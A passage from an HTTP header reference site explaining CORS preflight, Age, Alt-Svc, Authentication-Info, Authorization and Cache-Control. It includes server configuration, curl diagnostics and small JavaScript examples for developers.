debugging, look at the headers your fetch wrapper actually sent, not just the options you passed it. ## Common Examples A POST with `Content-Type: application/json` gets a preflight with `Access-Control-Request-Method: POST`. So seeing this header doesn't mean the real request is a PUT or DELETE. After a successful preflight, the real request goes out with its own method, here PUT: ```http PUT /api/users/123 HTTP/1.1 Host: api.example.com Origin: https://app.example.com Content-Type: application/json {"theme":"dark"} ``` That request has no `Access-Control-Request-Method` header. Your route sees `req.method === 'PUT'`, and that's the method to act on. The preflight header only matters while answering OPTIONS. ## Real-World Scenarios Called from a different origin, this request triggers a preflight unless the browser already has a matching permission cached: ```javascript await fetch('https://api.example.com/api/users/123', { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ theme: 'dark' }) }) ``` In the Network panel you'll see the OPTIONS request with `Access-Control-Request-Method: PATCH` and `Access-Control-Request-Headers: content-type`. The browser sends it for you; there's no need to write a second fetch. ## Server-Side Handling For an existing Express app with `cors` installed: ```javascript const cors = require('cors') app.use('/api/users', cors({ origin: 'https://app.example.com', methods: ['GET', 'PATCH'], allowedHeaders: ['Content-Type'] })) ``` Register it before your authentication and route handlers. [The middleware answers preflights](https://expressjs.com/en/resources/middleware/cors/) and adds the CORS headers to the real responses that follow. If you write the preflight handler yourself, check the `Access-Control-Request-Method` header. `req.method` is always OPTIONS there, so comparing it with PATCH gets you nowhere. This handler allows only PATCH with Content-Type on the record route: ```javascript app.options('/api/users/:id', (req, res) => { res.vary('Origin') if (req.get('Origin') !== 'https://app.example.com') { return res.status(403).end() } if (req.get('Access-Control-Request-Method') !== 'PATCH') { return res.status(403).end() } const names = (req.get('Access-Control-Request-Headers') || '') .split(',').map((name) => name.trim().toLowerCase()).filter(Boolean) if (names.some((name) => name !== 'content-type')) { return res.status(403).end() } res.set({ 'Access-Control-Allow-Origin': 'https://app.example.com', 'Access-Control-Allow-Methods': 'PATCH', 'Access-Control-Allow-Headers': 'Content-Type' }).status(204).end() }) ``` Use this instead of the `cors` middleware, not alongside it, or the two OPTIONS handlers will fight. Your PATCH handler still has to set `Access-Control-Allow-Origin` on its own response. This policy leaves out cookies and Authorization on purpose; if your route needs them, update the whole policy, not just one header. ## Getting Access-Control-Request-Method right Preflights never carry cookies or the bearer token, even when the real request will. So if OPTIONS requires a logged-in session, every preflight fails. Answer OPTIONS without user authentication, and check the user's permissions on the real request. Treat `Origin` as which site is calling, not as a user's role. Collection and record routes usually allow different methods: `/api/users` might take POST while `/api/users/123` takes PATCH or DELETE. Match the route first, then pick its method list. And remember two users on the same frontend share an Origin but not permissions, so the Origin never decides who can delete a record. ## Common Errors and Solutions If your logs show OPTIONS but no PATCH, the preflight failed. Check its status, allowed origin, method list, and allowed headers. If the PATCH does show up but JavaScript still rejects, look at the PATCH response. It's probably missing `Access-Control-Allow-Origin`, which happens a lot on error responses. Watch for redirects on OPTIONS, like a trailing-slash fix or a bounce to the login page. Look at the first response, not just where it ended up; the preflight should get its answer from the requested URL directly. A `200` that returns your SPA's HTML without CORS headers fails too. ## Testing ```bash curl -i -X OPTIONS https://api.example.com/api/users/123 \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: PATCH' \ -H 'Access-Control-Request-Headers: content-type' ``` curl will happily send this header, but it doesn't enforce CORS, so confirm with a real browser request. A good OPTIONS response also tells you nothing about whether the PATCH handler exists or works. To compare how the server answers for each method, without making any real writes: ```bash for method in GET POST PATCH DELETE; do curl -sS -D - -o /dev/null -X OPTIONS \ https://api.example.com/api/users/123 \ -H 'Origin: https://app.example.com' \ -H "Access-Control-Request-Method: $method" \ -H 'Access-Control-Request-Headers: content-type' done ``` Every request in that loop is OPTIONS, so nothing gets deleted or changed. One more thing to know: browsers cache preflight results separately. If you don't see an OPTIONS request in DevTools, the permission may already be cached. Try a fresh URL or wait out the max-age before deciding the browser skipped the check. ## Method-Specific Patterns Switching GET to POST won't avoid a preflight if you still send JSON or Authorization. In the other direction, a short `Access-Control-Allow-Methods` list won't stop a plain form POST, because that never gets preflighted. Enforce allowed methods and authentication in the endpoint itself. ## Related Headers - [Access-Control-Allow-Methods](https://howhttpworks.com/headers/access-control-allow-methods) - [Access-Control-Request-Headers](https://howhttpworks.com/headers/access-control-request-headers) - [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers) - [Origin](https://howhttpworks.com/headers/origin) --- # Age Header > Learn how the Age header indicates how long a response has been cached in seconds. Understand cache freshness calculations and CDN behavior. Source: https://howhttpworks.com/headers/age Last reviewed: 2026-10-05 > **TL;DR:** `Age` tells you how many seconds ago the origin generated or last validated a response. It counts time spent in every cache along the way plus time in transit, not just the cache closest to you. To tell a hit from a miss, read the cache status header; `Age: 0` on its own can't answer that. ## What is Age? When a cache serves a stored response without checking with the origin, it has to add an `Age` header, overwriting any value already there with its own calculated current age. The definition is in [RFC 9111 §5.1](https://www.rfc-editor.org/rfc/rfc9111#section-5.1). Age is about the HTTP response, not the data inside it. An API can build a brand-new response from a stale database row, and that response's Age will still be zero. ## Syntax Headers and outputs below are examples. ```http Age: 24 ``` The value is a whole number of seconds, zero or more. It's not a date, and it's not a TTL. ## How Age Works Age accumulates. When an edge cache gets a response from an upstream cache, it starts from the age that upstream already reported. Copying an object from one cache to another doesn't make it new again. Revalidating with the origin, on the other hand, resets the baseline, even if the body comes back identical. Age is also a poor hit/miss signal. A missing Age field doesn't mean the origin handled the request, and `Age: 0` looks the same whether it came from a cache that just stored the response or from anything else with a near-zero age. For hit/miss, use your CDN's status header or its logs. ## Age Calculation [RFC 9111 §4.2.3](https://www.rfc-editor.org/rfc/rfc9111#section-4.2.3) combines four inputs: the origin's `Date`, the `Age` received from upstream, the request/response delay, and how long the response has sat in the local cache. The conservative version looks like this: ```text apparent = max(0, response_received_at - origin_date) from_upstream = received_age + (response_received_at - request_sent_at) initial = max(apparent, from_upstream) current = initial + (now - response_received_at) ``` Everything is in seconds. This is why `now - time_cached` isn't enough on its own. The RFC also lets a cache use the corrected upstream age directly when every cache in the chain does proper age accounting. A worked example, with all clock readings in seconds on one timeline: ```text origin Date: 1000 request sent: 1005 response received: 1007 upstream Age: 12 now: 1010 apparent age: 7 corrected upstream age: 14 initial age: 14 current age: 17 ``` This cache has held the response for three seconds, but its current age is seventeen. If it only counted local residence, you'd lose the twelve seconds reported upstream and the two-second request delay. If the origin's Date is in the future, apparent age clamps to zero rather than going negative, and the upstream age still counts. When you're chasing clock skew, keep the raw Date and Age values side by side instead of treating either one as a stopwatch. ## Freshness Calculation A response is fresh while its freshness lifetime is **greater than** its current age. Once they're equal, it's stale. Shared caches use `s-maxage` over `max-age`. If neither is set, `Expires` or a permitted heuristic supplies the lifetime. See [RFC 9111 §4.2.1](https://www.rfc-editor.org/rfc/rfc9111#section-4.2.1). ```http Cache-Control: public, max-age=60, s-maxage=300 Age: 60 ``` At Age 60, this is stale for a browser (60-second lifetime) and still fresh for a CDN (300 seconds). Age keeps climbing with transit and storage time. And `no-cache` means a cache has to revalidate before every reuse, regardless of the freshness lifetime. ## Real-World Scenarios Cloudflare reports its cache decision in `CF-Cache-Status`. Its [cache-response documentation](https://developers.cloudflare.com/cache/concepts/cache-responses/) explains that an edge HIT can inherit Age from an upper tier. So a large Age doesn't tell you how long the object has been sitting in that particular edge location. For a public response in an existing Express app, set the freshness policy at the origin and let the caches work out Age: ```javascript app.get('/public-config', (req, res) => { res.set('Cache-Control', 'public, max-age=60, s-maxage=300'); res.json({ theme: 'light' }); }); ``` The 60 and 300 seconds are example values, not Express defaults. This route returns the same public data to everyone, which is what makes `public` safe. Put a user's account details behind the same policy and shared caches will happily hand them to other users; no Age value fixes that. Express documents setting response fields in [`res.set()`](https://expressjs.com/en/5x/api/response/#res.set). Sometimes serving stale is the plan. With `max-age=60, stale-while-revalidate=30`, a cache that supports the extension can keep serving the response for another thirty seconds while it revalidates in the background. Age keeps reporting the real elapsed time during that window. It isn't capped at sixty, and starting a background refresh doesn't reset it. See [RFC 5861 §3](https://www.rfc-editor.org/rfc/rfc5861#section-3). Once the origin validation succeeds, the cache can update its stored metadata and age baseline. ## Getting Age right Leave Age to the caches. An application that sets `Age: 0` to mean "uncached" is sending a misleading value, and a dashboard that counts every nonzero Age as a hit is miscounting. Read Age together with `Date`, `Cache-Control`, the validators, and the CDN's cache status. A stale response might be served on purpose under a stale-serving policy, so Age alone doesn't tell you something is broken. Age isn't a countdown, either. To estimate remaining freshness, subtract Age from the applicable lifetime, then subtract the time that has passed since you received the response. ## Cache Age Analysis Compare repeated requests for the same URL and the same representation. Differences in `Vary` inputs, which cache location you hit, evictions, and revalidation all change the result, so expect Age to jump around across unrelated requests rather than climb steadily. This browser-console probe logs the relevant fields side by side instead of calling every nonzero Age a hit: ```javascript async function inspectAge(url) { const response = await fetch(url); const raw = response.headers.get('age'); const age = raw !== null && /^\d+$/.test(raw) ? Number(raw) : null; console.table({ status: response.status, ageSeconds: age, date: response.headers.get('date'), policy: response.headers.get('cache-control'), etag: response.headers.get('etag'), cache: response.headers.get('cf-cache-status') ?? response.headers.get('x-cache'), }); await response.arrayBuffer(); } await inspectAge('/style.css'); ``` A null field means the header was either absent or hidden by CORS. Keep it as null: converting it to zero turns "I couldn't see this" into "this is brand new". A plain fetch can also be served from the browser cache, so check the Network panel when you're investigating the edge. The edge and the browser's private cache may be applying different lifetimes to the same response. ## Testing Replace the URL with one of your cached assets. These commands send a GET and throw away the body: ```bash curl -sS -D - -o /dev/null https://example.com/style.css curl -sS -D - -o /dev/null https://example.com/style.css curl -sS -D - -o /dev/null \ -H 'Cache-Control: no-cache' https://example.com/style.css ``` The last request asks caches to revalidate before reusing their copy. That doesn't force a fresh body download from the origin; a 304 from the origin is enough. From cross-origin browser JavaScript, note that Age isn't a CORS-safelisted response header. The server has to send `Access-Control-Expose-Headers: Age` before `response.headers.get('Age')` will return it. See the [Fetch Standard](https://fetch.spec.whatwg.org/#cors-safelisted-response-header-name). To watch Age change across a few requests from one shell, keep the URL and request headers fixed: ```bash for attempt in 1 2 3; do curl -sS -D - -o /dev/null https://example.com/style.css sleep 1 done ``` The `sleep` is just a sampling interval. If Age drops, save the full output. A lower Age right after revalidation is expected. A lower Age alongside a different serving-node identifier usually means the request took a different cache path. If the body changed but the validator didn't, that's a separate bug at the origin. And if the browser shows different content from curl, compare the request URL, cookies, Accept-Encoding, and other Vary inputs before blaming Age; the two clients may be getting different stored representations. ## Related Headers - [Cache-Control](https://howhttpworks.com/headers/cache-control) - [Expires](https://howhttpworks.com/headers/expires) - [ETag](https://howhttpworks.com/headers/etag) - [Via](https://howhttpworks.com/headers/via) --- # Alt-Svc Header: How Browsers Discover HTTP/3 > Alt-Svc advertises an alternative protocol for an origin. How h3=":443"; ma=86400 moves browsers to HTTP/3, what clear does, and how HTTPS DNS records differ. Source: https://howhttpworks.com/headers/alt-svc Last reviewed: 2026-10-04 > **TL;DR:** `Alt-Svc` is how a server says "I am also reachable over this other protocol or port." In practice it is the header that moves browsers from HTTP/2 over TCP to HTTP/3 over QUIC, typically `Alt-Svc: h3=":443"; ma=86400`. The first visit still uses TCP unless you also publish an HTTPS DNS record. ## What a response looks like ```http HTTP/2 200 content-type: text/html alt-svc: h3=":443"; ma=86400 ``` Each entry is `protocol-id="authority"` plus parameters (RFC 7838 section 3). The protocol id is an ALPN token: `h3` for HTTP/3 (RFC 9114), `h2` for HTTP/2. The authority is a quoted `host:port`; leaving the host empty (`":443"`) means the same host as the origin. The port is mandatory, and for QUIC it is a UDP port. Several alternatives can be listed, most preferred first: ```http Alt-Svc: h3=":443"; ma=86400, h2=":443"; ma=86400 ``` ## Parameters - `ma` is the freshness in seconds. The default is 86400 (24 hours). A client subtracts the response `Age` from it. - `persist=1` asks the client to keep the entry across network changes such as moving from Wi-Fi to cellular. Without it, a client is allowed to drop alternatives when its network configuration changes. - `clear` is a standalone value, not a parameter. `Alt-Svc: clear` wipes all cached alternatives for the origin. ## How the switch to HTTP/3 happens 1. The browser connects with TCP and TLS (HTTP/1.1 or HTTP/2) because it cannot know the server speaks QUIC. 2. The response includes `Alt-Svc: h3=":443"`. 3. For later requests to that origin, the browser attempts QUIC against the advertised endpoint. 4. If UDP 443 is blocked (common on corporate networks and some firewalls) or the QUIC handshake fails, the browser keeps using TCP. This is why "is HTTP/3 working?" checks that look only at the first load are misleading. Reload, or look at the protocol column in DevTools on the second navigation. ## Alt-Svc versus the HTTPS DNS record Alt-Svc is learned after a connection exists. RFC 9460 defines the `HTTPS` DNS record, which carries the same kind of information (an `alpn` list such as `h3,h2`) at resolution time, so a capable client can open QUIC on the very first request. ```text example.com. 300 IN HTTPS 1 . alpn="h3,h2" ``` The two are complementary. RFC 9460 section 9.3 covers their interaction: when both are present the client has to satisfy the constraints of both, not treat them independently. Keep them consistent. Advertising `h3` in DNS while the server stops answering QUIC gives clients a failed attempt and a fallback on every visit. ## Enabling it nginx (HTTP/3 support arrived in 1.25.0 and needs a build with QUIC; `http2 on` is the 1.25.1+ syntax): ```nginx server { listen 443 ssl; listen 443 quic reuseport; http2 on; http3 on; add_header Alt-Svc 'h3=":443"; ma=86400' always; } ``` Open UDP 443 in the firewall and security group too. The header alone does nothing if the port is closed. If a CDN terminates TLS for you and has HTTP/3 enabled, check the response for an `alt-svc` header before adding your own. ## Rolling it back Removing the header does not disable HTTP/3 for clients that already cached the entry; they keep trying until `ma` expires. To retire QUIC cleanly, send `Alt-Svc: clear` for at least as long as your previous `ma`, then stop serving QUIC. A short `ma` during a rollout (for example 3600) keeps this cheap. ## Alt-Used When a client sends a request over an alternative service it can include `Alt-Used: example.com:443` (RFC 7838 section 5) so the server can detect loops and balance load. Do not treat it as authentication. ## Verify ```bash curl -sI https://example.com | grep -i alt-svc curl -sI --http3 https://example.com | head -1 ``` The second command needs a curl built with HTTP/3 support. If it fails while Alt-Svc is present, suspect UDP 443 filtering before suspecting the server config. ## Related - [Connection](https://howhttpworks.com/headers/connection), [Via](https://howhttpworks.com/headers/via) - [HTTP/1.1 vs HTTP/2](https://howhttpworks.com/compare/http1-vs-http2) --- # Authentication-Info Header > Learn how Authentication-Info provides additional authentication data in responses to successful requests. Covers digest authentication and session info. Source: https://howhttpworks.com/headers/authentication-info Last reviewed: 2026-10-05 > **TL;DR:** `Authentication-Info` carries scheme-specific response parameters, without an authentication scheme prefix. For Digest, it can supply `nextnonce` and a computed `rspauth`. Nonces are not necessarily single-use, and omitting nextnonce does not force a new challenge. The field supplements an authentication exchange. [RFC 9110 §11.6.3](https://www.rfc-editor.org/rfc/rfc9110#section-11.6.3) defines the general field; [RFC 7616 §3.5](https://www.rfc-editor.org/rfc/rfc7616#section-3.5) defines Digest's parameters. Its semantics depend on the authentication scheme used in the corresponding request. ## How Authentication-Info Works After validating a Digest-authenticated request, a server may advertise a different nonce for the next request. This illustrative empty response supplies only that optional parameter: ```http HTTP/1.1 200 OK Authentication-Info: nextnonce="server-generated-next-nonce" Content-Length: 0 ``` The client should use a received `nextnonce` for its next authenticated request. A server may tolerate the older nonce for a limited time to allow concurrent or pipelined requests. ## Syntax ```text Authentication-Info: parameter=value, another-parameter="quoted value" ``` Unlike `Authorization` or `WWW-Authenticate`, the value does not begin with `Digest`. For Digest, `nextnonce`, `rspauth`, and `cnonce` use quoted strings; `qop` and `nc` do not. ## Common Examples `nextnonce` rotates the server challenge. `rspauth` allows a client to verify response authentication. When using `qop=auth` or `auth-int` in Authentication-Info, include `rspauth`, `cnonce`, and `nc`; the last two must match the request. | Digest parameter | What to check | | --- | --- | | `nextnonce` | Quoted server nonce for a future request; optional. | | `qop` | Unquoted `auth` or `auth-int`; should match the request. | | `rspauth` | Quoted response digest using the selected algorithm. | | `cnonce` | Quoted value copied from the corresponding client request. | | `nc` | Eight unquoted hexadecimal digits copied from that request. | A response with `qop=auth` but no `rspauth`, `cnonce`, or `nc` is incomplete. Rotating a nonce alone is a different operation from proving knowledge of the authentication secret. ## Server Implementation For **SHA-256 with qop=auth**, this executable diagnostic calculates `rspauth` from explicitly chosen inputs. It is not an authentication middleware or a nonce-validation implementation: ```javascript import { createHash } from 'node:crypto' const H = (text) => createHash('sha256').update(text, 'utf8').digest('hex') const username = 'alice' const realm = 'example' const password = 'example-password' const nonce = 'example-server-nonce' const cnonce = 'example-client-nonce' const nc = '00000001' const uri = '/protected' const ha1 = H(`${username}:${realm}:${password}`) const ha2 = H(`:${uri}`) // response A2 has no HTTP method const rspauth = H(`${ha1}:${nonce}:${nc}:${cnonce}:auth:${ha2}`) console.log(`Authentication-Info: qop=auth, rspauth="${rspauth}", cnonce="${cnonce}", nc=${nc}`) ``` Save as `.mjs` and run with Node. Request authentication uses `METHOD:uri` for A2; response authentication uses `:uri`. `auth-int` adds a response-body hash. Session algorithms also change A1; do not reuse this calculation for them. See [RFC 7616 §§3.4–3.5](https://www.rfc-editor.org/rfc/rfc7616#section-3.4). ### Apache Digest endpoint For an existing Apache deployment that uses Digest, configure a protected directory and inspect the module's actual response. This assumes `DocumentRoot /var/www`, so `/protected/` maps to `/var/www/protected`. Adjust the directory and AuthDigestDomain for your deployment. It requires `mod_auth_digest`, its file authentication provider, and a readable content directory: ```apache AuthType Digest AuthName "api" AuthDigestDomain /protected/ AuthDigestProvider file AuthUserFile /etc/apache2/users.digest Require valid-user ``` Create the credentials file with Apache's [htdigest utility](https://httpd.apache.org/docs/2.4/programs/htdigest.html): ```bash htdigest -c /etc/apache2/users.digest api alice ``` The realm `api` must match `AuthName`. `-c` creates or truncates the file; omit it when adding a user to an existing file. Protect the credential file from web access and make it readable by the server. Apache's [mod_auth_digest](https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html) is an MD5 Digest implementation, not the SHA-256 diagnostic above. Its [response hook](https://github.com/apache/httpd/blob/2.4.x/modules/aaa/mod_auth_digest.c) constructs Authentication-Info, including response authentication for applicable exchanges. Inspect what your installed module emits rather than inserting a static field with `Header set`. That static value cannot match different nonces and request URIs. ## Getting Authentication-Info right Match the algorithm, nonce, client nonce, nonce count, URI, and qop from the actual exchange. Returning only `nextnonce` supplies no response-authentication proof. Use a Digest implementation that verifies requests and tracks nonce policy before sending a success response. `WWW-Authenticate` supplies a challenge and is required on a 401 response. `Authentication-Info` supplies response parameters for the scheme already used. It is not a generic login-session extension header. ## Testing Authentication-Info For an endpoint that actually supports Digest, let curl perform the challenge exchange and prompt for the password: ```bash curl --digest --user alice -D - https://api.example.com/protected -o /dev/null ``` Replace the URL and username with your test endpoint and account. Inspect the success response separately from the initial 401 challenge. Absence of Authentication-Info is not itself proof of authentication failure. For an already authenticated same-origin endpoint, browser code can inspect the response field without manually forging Digest credentials: ```javascript const response = await fetch('/protected/', { credentials: 'same-origin' }) console.log(response.status, response.headers.get('Authentication-Info')) await response.arrayBuffer() ``` A `null` result can mean the field was not sent. On a cross-origin request, it can also mean the server did not expose it through CORS. `Authentication-Info` is not a CORS-safelisted response header; add `Access-Control-Expose-Headers: Authentication-Info` only under the intended CORS policy. This is separate from proving the response digest. ## nextnonce and Replay Attack Prevention A Digest nonce can be reused under server policy. For requests using qop, the client increments `nc` for that nonce, and the server can detect repeated counts. One-time nonces are an option, not a universal rule. Replay protection requires server-side validation and tracking; merely adding `nextnonce` does not provide it. [RFC 7616 §5.5](https://www.rfc-editor.org/rfc/rfc7616#section-5.5) discusses replay attacks. A client using qop formats nonce counts as eight hexadecimal digits. This counter illustrates that formatting for a single nonce: ```javascript let count = 0 function nextNonceCount() { if (count === 0xffffffff) throw new Error('Nonce count exhausted') return (++count).toString(16).padStart(8, '0') } console.log(nextNonceCount()) // 00000001 ``` Reset the count when adopting a new nonce. A concurrent client needs coordinated allocation so two requests do not use the same count; server-side replay tracking also needs atomic updates. The formatting helper does not perform either task. If you receive `stale=true` in a new Digest challenge, follow that challenge rather than reusing cached response parameters. [RFC 7616 §3.3](https://www.rfc-editor.org/rfc/rfc7616#section-3.3) defines stale handling. Digest response authentication does not encrypt traffic. Keep TLS protection and authentication logic separate from header formatting. Compute response authentication from the actual exchange parameters. When checking nonce rotation, make two transfers in one curl process and inspect both header sets: ```bash curl --digest --user alice -i http://127.0.0.1/protected/ \ http://127.0.0.1/protected/ ``` A client may reuse authentication state between transfers. Compare the new challenge, Authorization parameters, and Authentication-Info together; the presence of nextnonce alone does not show that the client adopted it. ## Related Headers - [Authorization](https://howhttpworks.com/headers/authorization) - [WWW-Authenticate](https://howhttpworks.com/headers/www-authenticate) - [Proxy-Authenticate](https://howhttpworks.com/headers/proxy-authenticate) - [Proxy-Authorization](https://howhttpworks.com/headers/proxy-authorization) --- # Authorization Header: Bearer, Basic and 401 Fixes > Authorization header carries credentials as scheme plus token. Bearer and Basic formats, WWW-Authenticate, why proxies strip it, redirects, CORS and storage. Source: https://howhttpworks.com/headers/authorization Last reviewed: 2026-10-04 > **TL;DR:** `Authorization: ` proves who is calling. Use `Bearer ` for APIs and `Basic base64(user:pass)` only over HTTPS; if the server says 401, check the `WWW-Authenticate` response header for the scheme it wants. ## Format ```http GET /api/profile HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.abc123 ``` A missing or rejected credential gets a challenge that names the scheme: ```http HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm="api", error="invalid_token", error_description="The access token expired" ``` RFC 9110 section 11.6.2 defines the header; schemes are registered with IANA. Common ones: `Basic` (RFC 7617), `Bearer` (RFC 6750), `Digest` (rare), `Negotiate` (Kerberos/NTLM), `AWS4-HMAC-SHA256` (SigV4), and `DPoP` (RFC 9449, sender-constrained tokens). "API key" is not a scheme; people send keys as `Bearer`, or in `X-API-Key`. ## Bearer Whoever holds the token can use it, which is why lifetime and transport matter: ```bash curl -H "Authorization: Bearer $TOKEN" https://api.example.com/me ``` The 401 `WWW-Authenticate` error values come from RFC 6750: `invalid_request` (400), `invalid_token` (401), `insufficient_scope` (403). Expired tokens, wrong audience, clock skew on JWT `exp` or `nbf`, and a missing `Bearer ` prefix are the usual reasons for `invalid_token`. ## Basic `base64("user:pass")`, sent on every request: ```bash curl -u alice:s3cret https://example.com/admin -v # > Authorization: Basic YWxpY2U6czNjcmV0 echo YWxpY2U6czNjcmV0 | base64 -d ``` base64 is encoding, not encryption. Browsers show a native login prompt when a 401 carries `WWW-Authenticate: Basic realm="Admin"`. Basic is fine for internal tools behind TLS, bad for anything else. Compare passwords with a constant-time function and rate-limit attempts. ## Why the header goes missing - **Cross-origin redirect.** Per the Fetch Standard, browsers strip `Authorization` when a redirect leaves the origin; curl does the same unless you pass `--location-trusted`. A 301 from `http://` to `https://` or from `example.com` to `www.example.com` drops it. - **Proxy or FastCGI.** Apache with `mod_fcgid`/PHP-FPM may not pass it; add `SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1` or `RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]`. nginx forwards it by default with `proxy_pass`, but `proxy_set_header Authorization ""` or a custom `fastcgi_param HTTP_AUTHORIZATION $http_authorization;` is needed for FastCGI. AWS API Gateway authorizers and some CDNs may replace it. - **CORS.** `Authorization` is not a safelisted header, so a cross-origin call triggers a preflight, and the response needs `Access-Control-Allow-Headers: authorization`. A wildcard `*` in that header does not cover `Authorization`; list it explicitly. See [Access-Control-Allow-Headers](https://howhttpworks.com/headers/access-control-allow-headers). - **Caching.** A shared cache will not store a response to a request with `Authorization` unless the response has `public`, `s-maxage` or `must-revalidate` (RFC 9111 section 3.5). Add `Vary: Authorization` if you intentionally cache. ## 401 or 403 401 means the server did not accept who you are, so send credentials or fresh ones. 403 means it knows who you are and refuses. See [401 vs 403](https://howhttpworks.com/compare/401-vs-403), [401](https://howhttpworks.com/status-codes/401) and [403](https://howhttpworks.com/status-codes/403). ## Token storage in browsers A token in `localStorage` sent as `Bearer` is immune to CSRF, but any XSS can read and exfiltrate it. An `HttpOnly; Secure; SameSite=Lax` cookie cannot be read by script but is attached automatically, so you need CSRF defences for state-changing requests. For a first-party SPA the cookie (or a backend-for-frontend that holds tokens server-side) is usually the safer choice. For mobile apps and third-party API clients, use `Authorization: Bearer` with short-lived access tokens (minutes) and rotating refresh tokens. See [Cookie security](https://howhttpworks.com/guides/cookie-security) and [Authentication](https://howhttpworks.com/guides/authentication). ## Security checklist - Only over HTTPS; add [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security). - Redact `Authorization` and `Cookie` in access logs, APM, and error reporters. - Never put credentials in the URL; they leak via `Referer`, history and logs. - Pin the verification algorithm for JWTs and validate `aud`, `iss`, `exp`. - Send `Cache-Control: no-store` on token endpoints. ## Related - [WWW-Authenticate](https://howhttpworks.com/headers/www-authenticate), [Proxy-Authorization](https://howhttpworks.com/headers/proxy-authorization), [Authentication-Info](https://howhttpworks.com/headers/authentication-info), [Cookie](https://howhttpworks.com/headers/cookie) --- # Cache-Control Header: Directives, Examples and CDN Behavior > Cache-Control directives explained: max-age, no-cache vs no-store, s-maxage, stale-while-revalidate, immutable, with nginx, Cloudflare and Next.js examples. Source: https://howhttpworks.com/headers/cache-control Last reviewed: 2026-10-04 > **TL;DR:** `Cache-Control` sets how long a response stays fresh and who may store it. Use `public, max-age=31536000, immutable` for hashed assets, `no-cache` for HTML you want revalidated, `private` for per-user data, and `no-store` only for responses that must not be kept. ## How a cache decides For every stored response a cache, whether browser or CDN, asks three questions: is it still fresh (`max-age`, `s-maxage`, `Expires`), may it be reused for this request (`Vary`, `private`), and if stale, can it be revalidated (`ETag`, `Last-Modified`). `Cache-Control` drives all three. Directives are comma-separated, case-insensitive, and unknown ones must be ignored (RFC 9111 section 5.2). ```http HTTP/1.1 200 OK Cache-Control: public, max-age=3600 ETag: "v42" ``` ## Response directives | Directive | Effect | | --- | --- | | `max-age=N` | Fresh for N seconds from generation time; `Age` counts against it | | `s-maxage=N` | Like `max-age`, but only for shared caches (CDNs, proxies); overrides `max-age` there | | `no-cache` | May be stored, but must be revalidated with the origin before every reuse | | `no-store` | Caches must not store any part of the request or response | | `private` | Only a private cache (a single user's browser) may store it | | `public` | Explicitly lets shared caches store it, including when the request carried `Authorization`; otherwise rarely needed | | `must-revalidate` | Once stale, must not be served without successful revalidation; if the origin is unreachable the cache answers 504 | | `proxy-revalidate` | Same as `must-revalidate`, but applies only to shared caches | | `must-understand` | A cache may store a response with an unrecognised status code only if it understands that code; otherwise it behaves as `no-store` (RFC 9111 section 5.2.2.3) | | `no-transform` | Intermediaries must not alter the body or `Content-Encoding`/`Content-Type`; stops proxies that recompress images or minify | | `immutable` | Body will not change while fresh, so skip revalidation on reload (RFC 8246) | | `stale-while-revalidate=N` | Serve stale up to N seconds past expiry while refreshing in the background (RFC 5861) | | `stale-if-error=N` | Serve stale up to N seconds when the origin errors or is unreachable (RFC 5861) | Request directives are `no-cache`, `no-store`, `max-age`, `max-stale`, `min-fresh`, `only-if-cached` and `no-transform`. In the browser, `fetch(url, { cache: 'no-store' })` maps onto them. ## no-cache vs no-store The names are the most misleading in HTTP. `no-cache` means "keep it, but ask first": ```http GET /app HTTP/1.1 If-None-Match: "v42" HTTP/1.1 304 Not Modified ``` `no-store` means "do not keep this". RFC 9111 section 5.2.2.5 names it as the directive for sensitive content. More in [no-cache vs no-store](https://howhttpworks.com/compare/no-cache-vs-no-store). A widespread snippet is `no-store, no-cache, must-revalidate` with `Pragma: no-cache` and `Expires: 0`. Only `no-store` does the work. `Pragma: no-cache` is defined only as a request header (RFC 9111 section 5.4) and survives for HTTP/1.0 proxies. `no-store` is an instruction to compliant caches, not a vault: it does not stop a user screenshotting a page, and a page may be restored from the browser's back/forward cache, so test logout flows explicitly. ## Freshness, heuristics and Age With `max-age`, `s-maxage` or `Expires`, freshness is explicit. Without any of them a cache may compute a heuristic lifetime (RFC 9111 section 4.2.2), commonly 10% of the time since `Last-Modified`. A response with only `Last-Modified` can therefore be reused for hours or days without contacting the origin. Always send an explicit policy. `Age` is how many seconds the response has already spent in caches. A CDN reporting `Age: 120` on a `max-age=300` response has 180 seconds of freshness left. ## stale-while-revalidate and stale-if-error ```http Cache-Control: public, max-age=60, stale-while-revalidate=300, stale-if-error=86400 ``` From 0 to 60 seconds the response is served fresh. From 60 to 360 seconds it is served stale instantly while a background request refreshes it. After that the client waits for the origin. If the origin returns a 5xx within a day, the stale copy is served instead of the error. Browsers honour `stale-while-revalidate` in Chrome 75+, Firefox 68+ and Safari 14+; `stale-if-error` matters mostly to CDNs and other shared caches. CloudFront supports both directives (it caps them at the cache policy's maximum TTL), and Cloudflare supports both with two caveats: its documentation says `s-maxage` disables `stale-while-revalidate`, and `stale-if-error` is ignored when Always Online is enabled. ## Shared-cache and CDN-only control `s-maxage` gives CDNs a longer TTL than browsers: ```http Cache-Control: public, max-age=60, s-maxage=3600 ``` RFC 9213 defines targeted fields so one response can carry separate policies per cache layer. `CDN-Cache-Control` addresses CDNs generally, and vendors add their own, such as `Cloudflare-CDN-Cache-Control` and `Surrogate-Control`. A targeted field overrides `Cache-Control` for the cache that reads it. ```http Cache-Control: no-cache CDN-Cache-Control: max-age=3600 ``` Browsers revalidate every time while the CDN holds the page for an hour. Which header your CDN reads varies, so confirm in its documentation. ## Recipes Hashed static assets, where the filename changes with the content: ```http Cache-Control: public, max-age=31536000, immutable ``` HTML entry points referencing those assets: ```http Cache-Control: no-cache ETag: "9f2c" ``` Per-user API responses: ```http Cache-Control: private, max-age=60 Vary: Authorization ``` Account pages, tokens, anything that must not be kept: ```http Cache-Control: no-store ``` Public data, fast with background refresh: ```http Cache-Control: public, max-age=60, stale-while-revalidate=300, stale-if-error=3600 ``` ## By stack **nginx.** `expires 1y` already emits `Expires` and `Cache-Control: max-age=31536000`. Adding a second `add_header Cache-Control` produces two `Cache-Control` headers, which caches combine; keep one source of truth. 